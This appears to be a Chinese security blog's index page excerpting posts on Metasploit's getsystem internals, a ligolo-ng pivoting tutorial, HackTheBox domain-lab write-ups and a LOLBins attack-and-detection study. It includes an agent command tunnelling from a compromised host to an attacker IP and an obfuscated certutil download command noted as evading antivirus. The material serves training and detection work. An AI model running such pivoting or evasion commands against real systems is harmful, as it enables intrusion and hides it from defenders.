深入理解MSF之Getsystem

本文首发于先知社区 : https://xz.aliyun.com/news/12747 在渗透测试中,我们输入getsystem命令轻松就获得了一个system权限的shell,本文将解析幕后发生的工作流程和原理,了解了这些之后我们将以更加灵活的方式实现权限提升定制出我们需要的工具,并且更好的规避安全监测,在正式阅读之前,让我们简单学习一下几个概念辅助我们理解源码中的内容。 认识Windows访问控制模型 Window的访问控制模型如此复杂,以至于完全理解Windows权限是非常困难的,不过我们可以从宏观上做一个简单的理解: 当windows完成了身份认证(例如开启输入密码、rdp登录、匿名登录等等)会生成一份主的访问令牌(access token) 我们所有通过用户启动的进程都会有一份此访问令牌的副本,默认情况下,当进程的线程与安全对象(几乎所有的windows对象都是安全对象:文件、进程、服务等等)交互时,系统会使用主令牌 进程的线程可以模拟客户端帐户,模拟允许线程使用客户端的Access Token与安全对象交互,拿到的令牌称之为模拟令牌。 模拟客户端的线程同时具有主令牌和模拟令牌 你可能好奇Access Token到底是什么,我们可以简单理解为一个windows内核对象,里面包含着各种信息: 用户标识符(User Identifier):通常是一个唯一的账户安全标识符(SID),用于识别用户账户。 组标识符(Group Identifiers):用户所属的一组或多组的SIDs,它反映了用户在不同的组中的成员资格。 权限(Privileges):一个或多个权限,指明了线程所能执行的特定系统级操作(例如关机、改变系统时间、模拟客户端权限等)。 所有者(Owner):该令牌指定的默认所有者SID。在创建对象时,通常会被用作对象的所有者。 访问控制列表(DACL):指定哪些用户或组可以对对象执行何种操作。 登录会话(Logon Session):一个标识符,指关联到此访问令牌的登录会话。 这些信息在c++里面都有对应的数据结构类型,我们要操控获取Access Token的信息是非常容易的,举一个简单的例子,下面是微软官方文档用户标识的TOKEN_USER结构: typedef struct _TOKEN_USER { SID_AND_ATTRIBUTES User; } TOKEN_USER, *PTOKEN_USER; SID_AND_ATTRIBUTES类型的User里面包含着sid typedef struct _SID_AND_ATTRIBUTES { #if ... PISID Sid; #else PSID Sid; #endif DWORD Attributes; } SID_AND_ATTRIBUTES, *PSID_AND_ATTRIBUTES; 实现获取当下进程的用户的sid信息,同理其他信息也是一样的: // token.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。 // #include <iostream> #include <Windows.h> #include <processthreadsapi.h> #include <sddl.h> int main() { HANDLE hToken = NULL; BOOL bSuccess = FALSE; DWORD dwSize = 0; PTOKEN_USER pTokenUser = NULL; LPWSTR szSID = NULL; using namespace std; bSuccess = OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken); if (!...

April 3, 2025 · 6 min · Theme PaperMod

Ligolo-ng快速入门教程

ligolo-ng是最近很多人推荐,部分APT组织也在使用的VPN隧道代理工具,非常适用于OSCP考试或者红队演练。我注意到网上的教材和官方的文档都比较迷惑,也没说清楚怎么用,自己摸索出来了我自己认为最好的使用方法,就几分钟写一下,分享一下。(THE BEST! MY WAY IS THE BEST, HAAA!) 下载地址 官方下载地址:https://github.com/Nicocha30/ligolo-ng 编译好的有两种,一种是agent,是要放在我们攻陷的机器上的。另外一种是proxy,要放在我的本身的kali机器上,下好这两个。 简单原理 原理图如下,本身kali攻击会虚拟出一个网卡出来,然后再通过HTTP转发过去。我们虽然没有独立的ip地址,但是却像是再对面机器的内网一样,可以轻松访问其他机器。(嗯,说实话,隧道的网络我感觉不是很稳定,但是它主页的Performance表现很强) 建议如果要执行流量大的信息收集,比方说bloodhand那种,还是上传到机器A上执行,直接从本机收集DC的流量太大可能隧道就崩了,就很难受了。 实际搭建 在我们的kali机器上用root用户执行: ./proxy -selfcert 现在不管这个,在受害机器上执行: agent.exe -ignore-cert -connect 192.168.45.180:11601 等待一会就来了,选择 session 使用自动路由 autoroute 注意进入这个界面,然后使用键盘的上下控制上下,选中不是左右键盘,是空格。 回车,创建一个新的: y开启隧道转发: 搞定之后就能ping通内网了,延迟只能说卡的很,1000ms这难受了 意外情况 如果隧道崩了,就得老老实实删掉网卡,再执行一次。 ip address 找到这个工具创建的,再删掉它,避免后续路由冲突。 ip link delete suitableaioli 结论 本文应该讲的够清楚了,用来完成OSCP考试足够了。但是要是拿来打攻防ligolo-ng本身还需要进一步修改本身的流量特征,还有要解决本地攻击+VPS+受害机器的网络环境这类操作,后面有空研究一下再写吧。距离OSCP考试还有几天,说实话还是有些紧张,它NANA的,我不想找密码了,烦死了,找密码两个小时,渗透5分钟,这题目真的抽象。

April 3, 2025 · 1 min · Theme PaperMod

域靶场合集Write up HTB(下)

继续打几个找一下手感,感觉还不错,补充工具链和找一下手感差不多了。 Active 信息收集,Windows Server 2008 R2 SP1 (Domain: active.htb, Site: Default-First-Site-Name): ┌──(root㉿kali)-[/home/kali/Desktop] └─# nmap -v -sV -sC --top-ports 3000 --max-retries 0 10.10.10.100 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-29 22:01 EDT NSE: Loaded 156 scripts for scanning. NSE: Script Pre-scanning. Initiating NSE at 22:01 Completed NSE at 22:01, 0.00s elapsed Initiating NSE at 22:01 Completed NSE at 22:01, 0.00s elapsed Initiating NSE at 22:01 Completed NSE at 22:01, 0.00s elapsed Initiating Ping Scan at 22:01 Scanning 10....

December 18, 2024 · 14 min · Theme PaperMod

域靶场合集Write up HTB(上)

最近感到渗透水平的生疏,为了强化我的渗透水平和对漏洞的熟悉程度,现在抽空打一下域相关的靶机,强化回忆起相关的知识并且从中学习新的知识,增加渗透水平和经验,为后面考试做准备。(靶场就不发先知了,先知传图片太难受了,非常不方便) Forest 靶机 ldap匿名访问,可以直接查询域内相关信息: root㉿kali)-[/home/kali/Desktop] └─# nmap -v --script ldap-rootdse 10.10.10.161 -T5 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-10 09:12 EDT NSE: Loaded 1 scripts for scanning. NSE: Script Pre-scanning. Initiating NSE at 09:12 Completed NSE at 09:12, 0.00s elapsed Initiating Ping Scan at 09:12 Scanning 10.10.10.161 [4 ports] Completed Ping Scan at 09:12, 0.18s elapsed (1 total hosts) Initiating Parallel DNS resolution of 1 host. at 09:12 Completed Parallel DNS resolution of 1 host....

December 18, 2024 · 18 min · Theme PaperMod

Living Off the Land Binaries 攻防实践浅析

抽空写完了,完善测试一下发了出来。中秋节将近,祝愿师傅们健康快乐。 Living Off The Land Binaries Living Off The Land Binaries (LOLBins) 是指操作系统中自带的合法工具、可执行文件或二进制文件,这些文件本来是为系统管理或维护设计的,但攻击者却利用它们来执行恶意活动。因为这些工具本身是合法的,且在系统中广泛使用,所以很难被安全软件检测为恶意行为。 针对这部分做威胁狩猎是一个不错的开始,不仅涵盖了各个阶段,而且从技术层面上比较容易落地(非常好写规则,不像高级的攻击技术,日志源都没有,直接寄了),目前公开LOLBAS覆盖的TTPS如下: 安全设备与日志检测 这里为了方便起见就不拉其他杀毒,用的自带的杀软,仅作为演示。 Certutil.exe 实践 Windows有一个名为CertUtil的内置程序,可用于在Windows中管理证书。使用此程序可以在Windows中安装,备份,删除,管理和执行与证书和证书存储相关的各种功能。CertUtil的一个特性是能够从远程URL下载证书或任何其他文件。命令执行漏洞利用场景频繁使用Certutil.exe下载后门 下载测试 直接下载Windows的杀毒会报警,拦截掉了命令: 根据Windows的CMD特性,混淆一下命令就绕过了杀毒基于命令行的检测: cert^u^t^il -url""""cache -sp""""lit -f https://www.baidu.com Elastic Rule 检测分析 这个ES官方的规则,限制死了certutil的出站访问,意味着无法从技术层面上绕过这个日志规则的检测 [metadata] creation_date = "2020/03/19" maturity = "production" updated_date = "2021/05/26" [rule] author = ["Elastic"] description = """ Identifies certutil.exe making a network connection. Adversaries could abuse certutil.exe to download a certificate, or malware, from a remote URL. """ from = "now-9m" index = ["winlogbeat-*", "logs-endpoint....

September 13, 2024 · 4 min · Theme PaperMod